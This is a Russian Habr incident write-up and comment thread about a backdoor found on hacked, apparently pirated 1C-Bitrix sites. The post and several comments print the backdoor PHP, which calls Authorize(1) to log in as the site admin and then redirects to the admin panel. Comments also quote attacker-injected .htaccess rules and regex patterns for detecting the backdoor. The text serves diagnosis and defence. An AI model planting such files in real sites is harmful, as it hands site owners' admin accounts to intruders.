Бэкдор во взломанном 1С-Битрикс: под угрозой сотни сайтов

    Субботний вечер омрачен скандалом: сайт не работает, админы - негодяи, а сервера - решето. Вызов принят, или почему при всей нелюбви к 1С-Битрикс в данной ситуации пострадали не только лишь все?

    Какое-то время назад некоторые пользователи начали сообщать о том, что их любимый сайт взломан, в лучшем случае он просто не работал, в худшем - показывал рекламу средств для улучшения KPI. Пока это были единичные случаи, но после 3-4 однотипных взломов на разных платформах уже есть основания полагать, что где-то закралась дырка, которую активно эксплуатируют.

    Вообще, взлом CMS это не такая редкая штука. Постоянно то и дело появляются разные нескучные уязвимости которые эксплуатируют все, кому не лень. Сложнее всего тогда, когда компоненты сайта, которые построены на каких-либо массовых платформах не обновляются, их взламывают, и хуже, когда это происходит массово. Но по специфике работы не привыкать к анализу таких проблем, выяснением "кто виноват" и самое важное тут убедиться в том, что дело именно в сайте.

    Анализируя содержимое сайта, что первое бросается в глаза, так это наличие нехарактерного мусора:

    Таких файлов, как правило, быть вообще не должно. Хорошо, смотрим на дату создания таких файлов и лезем в логи для анализа что происходило на сайте в какой-то промежуток времени. Тут всё оказалось проще, чем хотелось бы:

    Видно простой перебор файлов по словарю. Все запросы летят с одного IP, а главное, видно файл new.php, который вместо 404 вернул редирект 302, и сразу после этого видим POST на /bitrix/admin. Вау! Что же это такое?

    А это - красота:

    Те, кто хоть раз в жизни писал код для битрикса, сразу же поймет что этот код делает. А кто не писал, то всё просто: делает авторизацию под пользователем с ID=1, который как правило является админом сайта.

    Пробегаемся поиском по паттерну и находим сразу три таких файла с одинаковым содержимым:

    bitrix/admin/mobile/new.php
    bitrix/tools/new.php
    bitrix/new.php

    Хэш - 1964d7215f3944fa7a086d590b02152c

    Все одинаковые, все делают одно и то же. Удаляем их, откатываем сайт из бэкапа, проверяем что в системных файлах битрикса ничего лишнего нет, и на всякий случай откатываем БД - вдруг там тоже есть что-либо лишнее.

    Почему не только лишь все?

    Проанализировав все случаи взлома был получен неутешительный вывод: все те, кого взломали, использовали хакнутый Битрикс. Да, Вы не ослышались - вечной демо-версией продукта уже никого не удивишь. Мало того, что это нарушение авторских прав, так ещё и так подвергать свой бизнес опасности взлома обычным ботом. Надо уметь!

    Держите свои сайты в безопасности и не позволяйте случаться таким неприятным ситуациям.

    Реклама
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее

    Комментарии 143

      +1

      Классика жанра, не?

        0
        Самая, что ни на есть. Проблемы с битриксом появляются чаще, за 2 года уже третья как минимум. Не говоря уже о том, что многие забывают про такие базовые меры предосторожности, как restore.php в корне сайта. Но такие случаи интересны — бэкдор в битриксе встретишь не часто, и очень хорошо, что всех объединил общий фактор.

        А вот грамотность обслуживания сайтов хромает — никто не задается вопросом проблем с обновлением от разработчиков, как на том же условном битриксе, так и на других cms типа wordpress/joomla и тп.
          +8

          Я имею ввиду классика — скачанные с торрентов пиратские версии CMS, форумных движков итд, где через N месяцев обнаруживаются бэкдоры, зашитые авторами торрентов. К моменту когда торрент удаляется, в зависимости от навыков автора, у него тысячи скачиваний и сотни сайтов с владельцев которых можно вымогать деньги. Ну а потом бэкдор уходит в паблик


          По моему этим в середине / конце 2000ых болели половина форумов на IPB, vBulletin, XenForo и другие фан сайты на платных движках где владельцы просто не могли себе позволить лицензию в сотни долларов.


          Ну а сегодня просто желание сэкономить

            +2

            Пиратская версия с подарочком — это классика жанра задолго до веба, ещё на bbs-ках водилось во времена ms dos. Ну или из этого века — на торрентах был пиратский iWork в немного расширенной поставке, никого же не удивляет, что при установке iWork макось спрашивает пароль для получения рутовых прав.

            0

            Вордпресс давно обновляется сам, это модно конечно отключить — но кто нажмет лишнюю кнопку.


            Перед битриксом поставить нжинкс например и эти редиректы заредиректить на главную например

              0
              Редирект в данном случае это пижонство и удобство. Даже без него багоюзер получает админскую куку и в админку может зайти уже и руками.
              +1

              Ну вот попрошу без грязи. Если в Битриксе обновления безопасности не устанавливаются автоматически без участия пользователя не значит что в других cms все так же плохо

                +1

                Интересно, что никто не делал публичный анализ ядра битрикс. Возможно там этих бэкдоров ведрами черпай.

              +4
              Так а backdoor где? Пока я вижу две проблемы
              — вебмастера оставляющие такие файлы в корне продакшен серверов
              — CMS которая отказалась от Frontcontoller подхода (дефакто стандарта в мире PHP) и дает злым дядям грузить и запускать что угодно из паблик директории
                +2
                файл new.php с кодом:

                <?
                require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/header.php");
                global $USER;
                $USER->Authorize(1);
                LocalRedirect(“/bitrix/admin/”);


                в стандартном дистрибутиве его нет, в проблемных он был в трех экземплярах раскинут по разным папкам (но у всех одинаково), что наводит на мысли о том, что используемый дистрибутив был скачан вместе с ними.

                при этом взломанные сайты между собой никак не связаны, у них разные владельцы, разные разработчики, короче всё разное, кроме пары общих факторов.
                  +22
                  кликбейтный заголовок.

                  Потому что по сути «Пиратский Битрикс содержит бекдор».

                  И тогда никакой новости не будет, не так ли?
                    –5

                    Проблема в том, что многие массово используют этот самый пиратский битрикс с возможной дырой. Не так много, как те, кто использует его легально — но я столкнулся не с 5 и даже не с 20 случаями взлома через эту дырку.


                    А так да, основная дырка тут не бэкдор, а желание сэкономить, как сказали выше.

                      +5
                      Проблема в том что жадные заказчики нанимают тупых и ленивых исполнителей.
                      Заказчики жадные потому, что нанимаю за еду и бледнеют когда им озвучивают стоимость лицензии.
                      Исполнители тупые потому, что ленятся даже движек сами скачать и взломать, это несложно и есть руководство. И ленивые потому что в голову им приходит просто проверить файлы на строчку autorize(1). Это самая простая закладка в Битриксе.
                      И кстати как результат все наказаны. Исполнители получают за работу еду вместо денег. Заказчик взлом вместо рабочего сайта.
                        0
                        Причем сканер уязвимостей самого битрикса отлавливает такое. Но его ж блин надо иногда запускать!
                          0
                          А кто этим должен заниматься? Владелец сайта? Разработчик? Хостер? Датацентр?
                            0

                            Не отлавливает в большинстве случаев. Откуда ему знать, что Васин компонент, переопределяющий шаблон стандартного элемента каталога, содержит лишнюю строку с инклюдом шелла?


                            Поэтому и пришлось писать свой сканер.

                              0
                              проверьте ваши личные сообщения пожалуйста)
                              0

                              Цена вопросаинрает свою роль, есть заказчики с условной 1000р, хочешь делай, не хочешь не делай.

                                0

                                Так всё. Именно стоимость лицензии как признак платежеспособности клиента.

                              0
                              Заголовок действительно вышел кликбейтным, к битриксу в легальном виде данная проблема маловероятно имеет какое-либо отношение, поэтому чутка подправил
                                +6
                                Очень неудачно подправили. Я зашел почитать про «хакеров», которые взломали Битрикс (а кавычки я воспринял так, что кто-то просто заюзал недокументированное что-то или малоизвестное, т.е. это не настоящий взлом), а оказалось что в крякнутый Битрикс всего лишь засунули бэкдор пираты. Писали бы тогда «Бэкдор в крякнутом/пиратском Битрикс», и было бы сразу понятно.
                                Уверен, что не один я неправильно понял ваш новый заголовок.
                                0
                                Не пиратский, а «давно не обновляемый» тоже содержит этот бэкдор. С обновлением связано много рисков, в статье писал.
                                  0

                                  Этих файлов там не было ни в какой версии битрикса. Либо их руками кто-то разместил (что мало вероятно, когда такие файлы имеются на кучи не связанных установок), либо скачана такая сборка (но как автор сказал, что все версии не были лицензионными)

                                    0
                                    Через бэкдор закачивается шелл и ещё куча всего, в том числе эти файлы.
                                    Ещё десяток вспомогательных временных создаётся, потом обнуляется… там много разных процессов идёт.
                                    Отловленные файлы я выложил архивом на Гитхаб туда же, куда и сканер (линк ниже был)
                                0
                                libramedia.ru/blog/1s-bitriks-avtorizacziya-bez-parolya

                                Знакомый код, да? Это код который вы могли скопипастить из первых 10 страниц гугла, по запросу: «Битрикс скрипт авторизации без смс и регистрации». Сейчас ситуация лучше и стали добавлять строчку
                                @unlink(__FILE__); 

                                Но раньше, никто не парился, и этот код

                                Почему у 3 разных заказчиков этот файл в одних и тех же местах? Хороший вопрос, но очень сомневаюсь что его положили туда злоумышленники, скорее всего встроили бы прямо в код ядра бекдор и бекдор бы поумнее заюзали.
                                  0

                                  А кто же его туда положил? :-) Положить файл похожий на настоящий просто автоматически, чем пытаться встроиться в код ядра. Тем более, если любое обновление его может перетереть.

                                0
                                Если проблема действительно в том, что кто-то распространяет пиратскую версию CMS с бэкдорами, то единая точка входа никак не поможет. Да и от забытого вебмастером отладочного скрипта тоже.
                                  0
                                  При реализации Front Contoller, все запросы идут в один файл, условно
                                  index.php

                                  Даже если строка запроса будет такой:
                                  /test.php

                                  Запрос придет в index.php и там обработается роутером приложения, так работает весь адекватный веб на php и большая часть топ5 фреймворков. У вебмастера просто не получится там что-то оставить на диске, так как напрямую файлы с диска не грузятся, и уж тем более не инетрпитируются.

                                  А разрешать грузить что угодно на диске, это довольно рисковый подход
                                    0
                                    При реализации Front Contoller

                                    В битриксе нет единой точки входа.
                                      0
                                      Да, я об этом писал выше
                                      CMS которая отказалась от Frontcontoller подхода (дефакто стандарта в мире PHP) и дает злым дядям грузить и запускать что угодно из паблик директории
                                        0

                                        В новой версии Битрикс он уже есть.

                                          0
                                          Я застал ещё 20-ю. И там нифига не было, кроме VUE, патченного.
                                            +1

                                            Вышел в одной из последних. Надо в код лезть, с ходу точную версию не могу сказать. Я правда ещё бетами пользуюсь, поэтому могу ошибиться — в продакшене или ещё нет. По умолчанию используется urlrewrite, но можно переключится на почти нормальный роуминг. За основу был взят симфоневский. Разработчики о нем раскалывали то ли на прошлой конференции, то ли на позапрошлой.

                                              0
                                              Окей, интересно!
                                              За основу был взят симфоневский.

                                              Интересно, они его тоже переписали? Когда я в последний раз работал с этим продуктом, composer предполагался только для пользовательского кода.
                                                +1

                                                Ужа с ежом там скрестили, как всегда
                                                https://youtu.be/1_xYUQzQHj8?t=1244


                                                Как при этом партнёры будут переучивать нынешних разрабов, которые привыкли там index.php, тудам index.php и в продакшен — я слабо представляю

                                                  0
                                                  ​Нас просили не менять. Мы прислушались и изменили :)

                                                  Как мне перестать смеяться?
                                                  Как при этом партнёры будут переучивать нынешних разрабов

                                                  Лет через 5 войдёт в обычную практику. Там скорее с новыми разрабами, которые ещё не забыли хорошие приёмы программирования.
                                                    0
                                                    Очень сомневаюсь, что там есть приток свежей квалифицированной крови.
                                                    Как минимум, на такие мысли наводит вал довольно печальных публикаций в стиле «Как круто работать с Битриксом/Битрикс FW»
                                                      0
                                                      Ну человек может придти в Битрикс сразу после института, а там могли нормально преподавать. Да и я знаю реально крутых программистов на Битриксе, которые честно стараются следовать новым практикам, насколько это позволяет Битрикс конечно же ))
                                          0

                                          Плюс ещё проблема в том что контент менеджер может лёгким движением руки вставить любой код в подключаемую область и это никто не заметит. Я когда это увидел первый раз очень удивился.

                                          0
                                          Да это-то понятно. Но если есть возможность впихнуть бэкдор в дистрибутив, тот же самый код можно запихнуть в код любого подключаемого файла ядра CMS, где проанализировать параметры запроса и выполнить авторизацию.
                                            0
                                            Да, это было бы логичнее и в случае с битриксом, будь тут злой умысел (распространить взломанный битрикс с бекдорами), хакеры бы действовали элегантнее. Вероятно просто кто-то оставил эти файлы для своих нужд случайно, а потом возможно поделился на файлпомойке «крякнутым» битриксом с другими
                                              0
                                              Может и так. Но часто такие файлы попадают через взломанный FTP, через дырявый хостинг (у меня был случай заражения из-за недостаточной изоляции сайтов на шареде), через забытые отладочные инструменты, через дырявые формы, позволяющие залить любой файл в директорию доступную веб-серверу. Почти на любом сайте в логах можно увидеть такие запросы. И против этого единая точка входа действительно помогла бы, хотя бы частично.
                                                0
                                                Классический шаред хостинг предусматривает только изоляцию аккаунтов на сервере. Изоляцию сайтов предоставляют немногие, за что им респект, но отсутствие изоляции сайтов на уровне аккаунта само по себе дыркой не является. Если сайты взломали из-за одного дырявого сайта на аккаунте, то причем тут хостер? Виноват исключительно хозяин сайтов, тут без обид.

                                                Вот если Вас поломали из-за соседа на сервере, то это дырявый хостинг.
                                                  0
                                                  Между аккаунтами, конечно
                                      0

                                      «Один IP» назвать можно?
                                      Ну и вообще интересно было бы услышать подробности. В официальном (не спираченном) дистрибутиве new.php в указанных местах нет, но теоретически их можно было и получить из-за какой-то массово проэксплуатированной уязвимости. Реакции от 1С на «скандал» нет?

                                        0

                                        Выше я говорил об этом, что в оф редакции битрикса таких файлов нет, и не было в принципе. Айпи самый обычный digital ocean, не думаю что есть смысл его раскрывать — таких тысячи, да и многие ищут уязвимости через уязвимости. Как например взломанный вордпресс может сканить другие вордпресс сайты на предмет наличия уязвимостей

                                          0
                                          «Какой скандал? Где?» — 1С про это ничего не слышал))
                                          Это примерно то же самое, как они не слышали про то, что Битрикс генерирует сам кучу лишнего html кода при оформлении страницы…
                                          Та и не свойственно большим компаниям с российскими корнями что-то признавать. АВОСЬ само рассосется!
                                            0

                                            А какую реакцию вы ожидаете? Это все равно что ждать реакции официальной от ауди или теслы, что угнанный, сваренный в гараже из трех тотальных авто их автомобиль взорвался в дтп и там погибли люди. Понятно, но производитель то тут при чем?

                                              0

                                              В тексте посыл о пиратской причине «уязвимости» подается как предположение, а не как доказанное утверждение.
                                              Соответственно, пусть небольшая, но существует вероятность того, что дело в чем-то другом. «Что-то другое» может быть только эксплуатацией уязвимости уже в официальном коде.
                                              Например, недавно Битрикс стал просить обновиться до php 7.4 с более ранних версий. Допустим, народ обновился, но оставил некоторые небезопасные настройки, что могло быть причиной уязвимости.

                                                0

                                                Да, это предположение, но сделанное на основе наблюдений, что все взломанные порталы были пиратскими. Весьма веский довод. Было бы желание, можно было бы найти более весомые доказательства этому.
                                                А предположение об уязвимости в коде ни на чем вообще не основано. Нет никаких предпосылок к этому вообще.

                                            0
                                            А зачем админку открывать для левых IP-адресов?
                                              0
                                              Тут все просто, обычно нанимают «низкоквалифицированных специалистов» для разработки, покупают «недорогой» хостинг… лишь бы подешевле… в итоге сайт дырявый, контроля за правами и авторизацией никакого нет, но как говорится скупой платит дважды и его это устраивает
                                              0
                                              у 1С в последнее время сильно поменялось видение того что компания может позволить себе с владельцами «хакнутых» продуктов. Следующим шагом будет автоматическое создание платежных поручений в пользу 1С в стандартной клиент-банковской обработке.
                                                +1
                                                Указанные файлы вполне могли быть залиты в результате эксплуатации другой уязвимости, как заложенной пиратами, так и просто присутствующей в старой и не обновляющейся версии Битрикса. И для однозначного утверждения, что этот файл положили злые пираты, нужно было найти эти файлы в пиратском дистрибутиве. Ну а для поиска «уязвимостей» в исходном коде есть diff — никто не мешает сделать дифф на пиратский и оригинальный битрикс, благо «достать» оригинал несложно, он не зашифрован и не обфусцирован
                                                  –1

                                                  Таки нет, так-как
                                                  1) во-первых, версии взломанных были разными, и не самыми древними
                                                  2) в некоторых версиях ядро битрикса (то, где проверяется лицензия) — закодировано (точно не помню, в каких и до каких)
                                                  3) ну и анализ диффом это весьма длительная задача для битрикса, учитывая его иерархию. Безусловно, можно быстро отсеить все что одинаковое и анализировать что отличается, но… зачем столько чести для взломанного битрикса? Будь это лицензионный, то да, можно провести более доскональное расследование. Хотя у битрикса нет репо, где можно найти любую версию, чтобы поиск был наиболее грамотным.


                                                  Но Ваше предположение выглядит корректно, возможно найденные файлы лишь часть проблемы.

                                                    0
                                                    ну и анализ диффом это весьма длительная задача для битрикса, учитывая его иерархию.


                                                    -r, --recursive
                                                    recursively compare any subdirectories found


                                                      0
                                                      Повторюсь — нет архива версий, чтобы сравнение было правильным. В битриксе с его кодом, я уверен, на каждую минорную версию приходится столько исправлений, от которых никакой анализ не поможет. Что говорить о мажорных. Пройдемся рекурсивно диффом, увидим не одну тысячу изменений из которых 999 — сделаны разработчиками.
                                                        +1
                                                        Я человек, измученный git'ом… Я догадывался, что в мире bitrix всё сложно… Но что невозможно восстановить исходный код продукта по версии — это как-то совсем сложно.
                                                          0
                                                          Возможно внутри систем битрикса они юзают что-либо вроде git, но публичных репо точно нет. Либо я плохо искал
                                                            0
                                                            Я имел в виду, разве по версии битрикса невозможно найти архив с релизом? Или хранение собственных релизных версий производитель не практикует?
                                                              –1
                                                              Сложно сказать, вроде бы при установке битрикса устанавливается актуальная версия и иных вроде как не предусмотрено соответственно и найти тот самый архив проблематично.
                                                                0
                                                                Пнятненько :(
                                                            0

                                                            Кроме ядра Битрикса есть ещё отдельные страницы — каждая тоже php файл и есть шаблоны и кастомное переопределение стандартных компонентов Битрикса — тоже с кучей php, перемешанного с html. )))

                                                    0

                                                    Предлагаю поменять в заголовке 'под угрозой сотни сайтов' на 'под угрозой миллионы сайтов', почему бы и нет?

                                                      0

                                                      Потому что на удивление взломанный битрикс использует меньше людей, чем не взломанный

                                                      +2

                                                      Как то очень странно. Знаю 2 способа взлома лицензии битрикса. 1ый через ежемесячное обновление хешей в бд, второй через изменение нескольких строк в хитро обусфицированном файле. Но ни один не подразумевает использование таких файлов или изменения прав доступа или еще чего то подобного.


                                                      Так что есть немалая вероятность что непосредственно для загрузки этих файлов использовалась какая то другая уязвимость, которую неплохо было найти.


                                                      А так пост выглядит как будто автор был рад свалить все на взломанный битрикс и не копать дальше.


                                                      Как вариант конечно что битрикс был скачан у пиратов с уже зашитым бекдором, но там совсем древние версии и раз люди не смогли сами сделать довольно простой взлом то ну как бы туда и дорога. Либо делать нормально самому либо платить за лицензию.

                                                        0

                                                        Могли скачать древнюю версию и обновиться до актуальной. Почему нет?

                                                          0

                                                          Да там не очень хитро, include.php, делов на 15 минут, когда замучился каждые 30 дней танцевать с бубном для локальной разработки на каждом проекте, то пришел к выводу что быстрее расшифровать и сделать "пиратку" для дева, так быстрее. Меня удивляет что в Битриксе видят процесс разработки только одним человеком и дают на лицензию только одну копию для дева, у них там вообще свои взгляды на жизнь, которые часто не стыкуются с реальностью.

                                                            0
                                                            Я примерно так же к этому пришел) Потом ещё узнал что в сети есть этот файлик в нормальном виде и там ещё проще все.

                                                            Согласен, бред полный. У меня сейчас новый сайт в разработке и нужно закрывать публичку чтобы не забанили, бред какой то.
                                                          +1

                                                          Вот это «новость»! Оказывается, пиратский софт содержит бэкдор!

                                                            0
                                                            Столкнулись с подобным случаем примерно 1 неделю назад.
                                                            При этом у людей лицензия есть.(пока не вижу подтверждения про пиратский bitrix)
                                                            Работа бота очень странная, у нас, например, бот также перебирал имена и нашел файл с авторизацией, но при этом не сразу запустил /bitrix/admin/php_command_line.php.
                                                            Файл с авторизацией( если полагаться на дату, что не очень правильно) был создан более года назад:
                                                            <?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");                                                                                                                                                         
                                                                                                                                                                                                                                                                               
                                                            use Bitrix\Main,                                                                                                                                                                                                   
                                                                Bitrix\Main\Application,                                                                                                                                                                                       
                                                                Bitrix\Main\Loader;                                                                                                                                                                                            
                                                                ?>                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                               
                                                            <?                                                                                                                                                                                                                 
                                                            $USER->Authorize(1);                                                                                                                                                                                               
                                                            ?>                                                                                                                                                                                                                 
                                                                                                                                                                                                                                                                               
                                                            <?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>                                                                                                                                                       
                                                            

                                                            Далее через сутки этот же бот почему-то проходит все файлы снова.
                                                            На глаза попался адрес 3l.l72.225.2ox, уже неделю ходит на сайт зараженный и перебирает файлы.
                                                            Скорее всего несколько личностей ломают сайт(ы), так как есть фиксация в логах другого поведения по «бекдорам».(например, настырное изменение htaccess)
                                                            <FilesMatch ".(phtml|php|PhP|php5|suspected)$">
                                                            Order Allow,Deny
                                                            Deny from all

                                                            <FilesMatch "(index).php$">
                                                            Order Allow,Deny
                                                            Allow from all

                                                            <FilesMatch "(wp-load).php$">
                                                            Order Allow,Deny
                                                            Allow from all

                                                            <IfModule mod_rewrite.c>
                                                            RewriteEngine On
                                                            RewriteBase /
                                                            RewriteRule ^index.php$ — [L]
                                                            RewriteCond %{REQUEST_FILENAME} !-f
                                                            RewriteCond %{REQUEST_FILENAME} !-d
                                                            RewriteRule. index.php [L]

                                                              0

                                                              Интересно, а название файла какое было?

                                                                0
                                                                Название файла было /test.php. (возможно это разработчики оставили)
                                                                Также наблюдается сканирования с 79.l35.82.lx (вот с этим адресом можно уже проводить мероприятия. Вредитель за ним или зараженный, вот вопрос?)сегодня на 2-х разных сайтах(такой же перебор файлов).

                                                                  0
                                                                  test.php тоже перебирается

                                                                  image

                                                                  вероятно бот просто по паттернам перебирает всё что может перебрать, а new.php был остановлен задолго до него кем-то. О чем я и предположил, что они не связаны между собой (скорее всего).
                                                                    0
                                                                    Ага скрипт перебирает по списку файлов в /, /bitrix и /bitrix/admin.
                                                                    А в ваших многих случаях какие решения(шаблоны) на сайтах используются? Они разные или одного производителя?
                                                                  0
                                                                  Может эти файлы делали сами владельцы сайтов по гайдам «как восстановить админский пароль от битрикис»
                                                                    0
                                                                    Разные владельцы и три файла в bitrix — сомнительное совпадение
                                                                  0
                                                                  Товарищи, там не один этот бот. Его кусок работает с Amazon AWS, и ищет он, как я понял, в том числе старые закладки.
                                                                  +3
                                                                  Автора на костер за такие заголовки. С таким же успехом можно поставить Jailbreak на iPhone, поставить ломаный софт, который окажется с сюрпризом в виде утечки данных пользователя. И что теперь, бэкдор в iPhone?
                                                                    0
                                                                    я столкнулся с такой же проблемой и битрикс при этом лицензионный
                                                                    0
                                                                    Может немного не в тему, но разве не нужно анализировать лог демонов и блокировать плохишей на уровне IP? Сделал IP 5 «нехороших» запросов — в бан-лист.
                                                                      +1
                                                                      Грань между нормальным запросом и «нехорошим» сложно найти.
                                                                      Если ты не разрабатываешь сайт и не сопровождаешь его всегда.(это же не SQL inject были)
                                                                        0
                                                                        Разве статус возврата демона «404» не явный показатель «нехорошести»?
                                                                          0
                                                                          Не хочу полемику разводить. Но ответ 404 не значит, что это «нехорошо».
                                                                          Конечно можно сделать белый список для серверов bitrix, но эти самые сервера сканируют сайты на наличие файлов, которые считают не нужными на рабочем сайте. Например, restore.php (типичный сканер безопасности bitrix).

                                                                            0

                                                                            Ну поменяете вы на сайте часть разделов. Или удалите часть каталога. И у вас пачками в бан улетят поисковые роботы.

                                                                          0
                                                                          Будет слишком много ложнопозитивных банов
                                                                            0
                                                                            на shared-хостинге?
                                                                            +1

                                                                            Как Битриксоид с большим стажем, скажу что часто этим и сами программисты грешат, кладут такой бэкдор. Чаще всего фрилансеры такое делают.

                                                                              +2
                                                                              О, так моя статья и «антивирус» — как раз про этот бэкдор. Знакомые файлы!

                                                                              Берите скрипт-сканер, пользуйтесь:
                                                                              habr.com/ru/post/543906

                                                                              Скрин для примера
                                                                              image



                                                                              P.S. Паттерн Authorize(\d) я туда добавил, с большим весом, спасибо ))
                                                                                0
                                                                                \d не достаточно т.к. есть еще вариант Authorize(true)
                                                                                habr.com/ru/post/544572/#comment_22753044
                                                                                  0
                                                                                  спасибо большое, добавлю. Сейчас посмотрю, где вообще используется Authorize

                                                                                  UPD: мда, там куча конструкций вида $oAuthManager->Authorize($_REQUEST["auth_service_id"])… надо разобраться, как это работает и насколько уязвимо.
                                                                                    0
                                                                                    Так в php есть 100500 способов сформировать !0 или true. И еще больше способов закодировать Authorize.
                                                                                      0
                                                                                      Серьёзный антивирус должен был бы работать по-другому, это и сомнений не вызывает. Но эти вирусы тоже пишутся на коленке, поэтому есть шанс ловить их простыми regexp-ами, что я и сделал.

                                                                                      С Authorize я надеялся, что он вызывается достаточно редко вообще, но увы. Придётся ловить по \$USER->Authorize\([^\$], и дальше как обычно разбираться руками, что там за фигня творится.

                                                                                      Битрикс так написан, что код его исходников иногда сложно отличить от кода вируса.
                                                                                0
                                                                                Бэкдор может не иметь отношения ни к отсутствию обновлений, ни к «вечному демо». Обычно такой мусор появляется на сайте после подбора пароля к ftp.
                                                                                Хотя да, в данном случае кто-то залил бэкдор, заточенный под битрикс почему-то.
                                                                                Обычно даты создания таких файлов не соответствуют реальному времени создания.
                                                                                И обычно файл сперва заливается, «настаивается», и только спустя время эксплуатируется.

                                                                                Так что заголовок действительно кликбейт. Так же можно написать «под угрозой миллионы сайтов с php» или «под угрозой миллионы сайтов с ftp».
                                                                                  0

                                                                                  Скорее всего проблема не в пиратской версии, а в уязвимости движка.


                                                                                  Только на днях было несколько случаев:
                                                                                  файлы с таким же именами;
                                                                                  отредактированный .htaccess;
                                                                                  скриншот обфусцированного кода из index.php.


                                                                                  Все были на лицензии (но без обновлений разное время), располагались как на хостинге, так и на vps.

                                                                                    0
                                                                                    Это очень интересно, потому что в моей выборке все были без лицензии. А если кто-то сталкивается с этой проблемой НА лицензии, то тут реально надо анализировать глубже, как писали люди выше.
                                                                                    0

                                                                                    все что на скриншоте — следствие угнанной админки сайта (admin admin или подобное) и возможности загрузить файл через эту админку


                                                                                    "бэкдор" этот кроссплатформенный и чаще всего заражает modx

                                                                                      0
                                                                                      У модикса часто открыта наружу папка с плагинами для админки. А в разных плагинах есть разные уязвимости, типа загрузки произвольных файлов например.

                                                                                      А старые плагины так просто ещё не обновишь, бывает: поддержка прекращена, прочее.
                                                                                      0
                                                                                      Не соглашусь, дело не в «пиратском взломанном» ядре. На днях случилось тоже самое с абсолютно лицензионным сайтом, лицензию которой стабильно продлевают, но подозреваю, что проблема как раз-таки была в формах обратной связи, формы подписки, которые не были защищены от банальных SQL инъекций.
                                                                                      Почистили через модуль сканер и исправили все ошибки выявленные при проверке сканером безопасности. На данный момент всё в порядке и больше новых файлов не создавалось, но будем наблюдать…
                                                                                        0
                                                                                        Если это действительно так, то дело куда печальнее, на самом деле. А какие версии битрикса и этих модулей были у сайтов, которые взломали?
                                                                                          0
                                                                                          Не самый старый, но и не новый — БУС 20.0.0
                                                                                            0
                                                                                            В стандартных компонентах обратной связи и подписки никаких SQL инъекций нет. Скорее всего, самопал какой-то был.
                                                                                          0

                                                                                          Странное категоричное заявление "полюбому пиратский битрикс".
                                                                                          Почему не "в дырявый битрикс залили шелл" ?


                                                                                          ЗЫ. Наверное надежда что 1С вас заметят? )))
                                                                                          ЗЫЫ. Вы избавились от последствий, а не от причины

                                                                                            0
                                                                                            Потому что сам по себе битрикс достаточно защищён. Как-правило, ошибка в чьих-то кривых ручонках на месте, типа 20 сайтов на одной учётке шаред-хостинга.
                                                                                              0
                                                                                              > Потому что сам по себе битрикс достаточно защищён.
                                                                                              Т.е. вы можете это доказать? )
                                                                                                0
                                                                                                Ну вообще у битрикса есть версии с сертификатами ФСБ и ФСТЭК. Там именно что да, надо математически доказать. Правда, после этого код замораживается, любые изменения и апдейты требуют повторной сертификации.
                                                                                              –1
                                                                                              Я не могу утверждать что битрикс дырявый. По роду деятельности я могу быть уверенным, что уязвимости может иметь любой софт, другой вопрос, как быстро их заметят. Вордпресс взламывают, потому что он массовый и всем интересно аудитить плагины с миллионами установок. Битрикс интересен 3.5 анонимусам, и иногда что-нибудь с ним всплывает.

                                                                                              Но на моей памяти фактов взлома регулярно обновляемого битрикса с легально купленной лицензией не было. Поэтому склонен полагать так, но при этом не являюсь ни разработчиком битрикса, ни тем, кто хотел бы быть замеченным этой компанией.
                                                                                                0
                                                                                                > Битрикс интересен 3.5 анонимусам, и иногда что-нибудь с ним всплывает.

                                                                                                Ошибка выжившего. Сканерам уязвимости пофиг битрикс у тебя или какой нибудь экзочиский xoop. Что загружено то и сканит )
                                                                                              0
                                                                                              Добавил сигнатуру в свой сканнер AWA — www.avirlab.com
                                                                                                0
                                                                                                Я рад что данная информация была полезной!
                                                                                                0
                                                                                                Раньше был популярен aibolit для поиска бэкдоров.

                                                                                                Что сейчас используют из opensource решений?
                                                                                                  0
                                                                                                  habr.com/ru/post/543906
                                                                                                  github.com/mSnus/simple-virus-scanner

                                                                                                  Надо будет посмотреть на aibolit, спасибо!
                                                                                                    0
                                                                                                    Айболит всё, они ушли под крыло cloudlinux, а точнее их отдела imunify (revisium продался, так сказать)
                                                                                                      0
                                                                                                      Очень жаль. Весьма мощное было решение.
                                                                                                        0
                                                                                                        В какой вселенной это чудо было мощным? Единственный более-менее полезный режим — параноидальный, да и то он выдавал вагон ложных срабатываний и пропускал два вагона вредоносного кода.
                                                                                                          0
                                                                                                          А какой из текущих инструментов по вашему действительно мощный?
                                                                                                          Периодически появляется надобность, но нет времени искать и выбирать. Буду признателен за совет.
                                                                                                            0
                                                                                                            Я уже пару лет как забросил поиски подобного инструмента — они все отстают на шаг, а то и на два от современных угроз. В итоге, каким бы банальным не звучало, но решение остаётся за личным опытом, усидчивостью, ну и для подстраховки можно использовать какие-то инструменты в связке. Опыт и усидчивость — чтобы не полениться и найти все возможные куски вредоносного кода, деобфусцировать их и понять что код делает, далее плясать уже от этого. Связка каких-то сторонних инструментов: антивирус, скрипт поиска всяких
                                                                                                            base64_
                                                                                                            и прочей банальщины, автоматизация процесса через командную строку — короче, кому что удобнее и что эффективнее, но только в роли вспомогательных инструментов.

                                                                                                            Если времени нет, а результат нужен, тогда проще делать откат по актуальному бэкапу, искать и закрывать уязвимость(-и).

                                                                                                            Плюс, обратите внимание, что знание той системы, которая подверглась атаке, значительно экономит время. Даже в этой заметке, в комментариях к которой мы общаемся, проскочил нюанс: зачастую для атаки используются легитимные функции/процессы системы, которые приводят к печальным последствиям. Тот же
                                                                                                            Authorize(1)
                                                                                                            существует очень давно — это закладка фрилансеров #1 под Битрикс, но далеко не все о ней знают (хотя, казалось бы, да..?). В комментариях выше пишут, что взяли себе на вооружение, кто-то даже в базу добавил в своих самописных скриптах (к вопросу об отставании на шаг-другой от угроз).
                                                                                                    +1
                                                                                                    Народ, у меня сегодня случилось тоже самое на лицензионном битриксе. Прям ровно тоже что и на скрине. Битрикс 20 версии. Сейчас тоже анализируем логи, но похоже что всё-таки на бекдор.
                                                                                                      0
                                                                                                      20 версия версии рознь. Надо видеть полную версию, там очень много зависит от минорных
                                                                                                        +1

                                                                                                        Битрикс тут не причём, конечно, если он лицензионный, и с ним работал сертифицированный программист.
                                                                                                        Смотри соседние сайты, скрипты, в которых описана загрузка файлов и особенно старые сайты или сайты с самописными cms

                                                                                                          –1
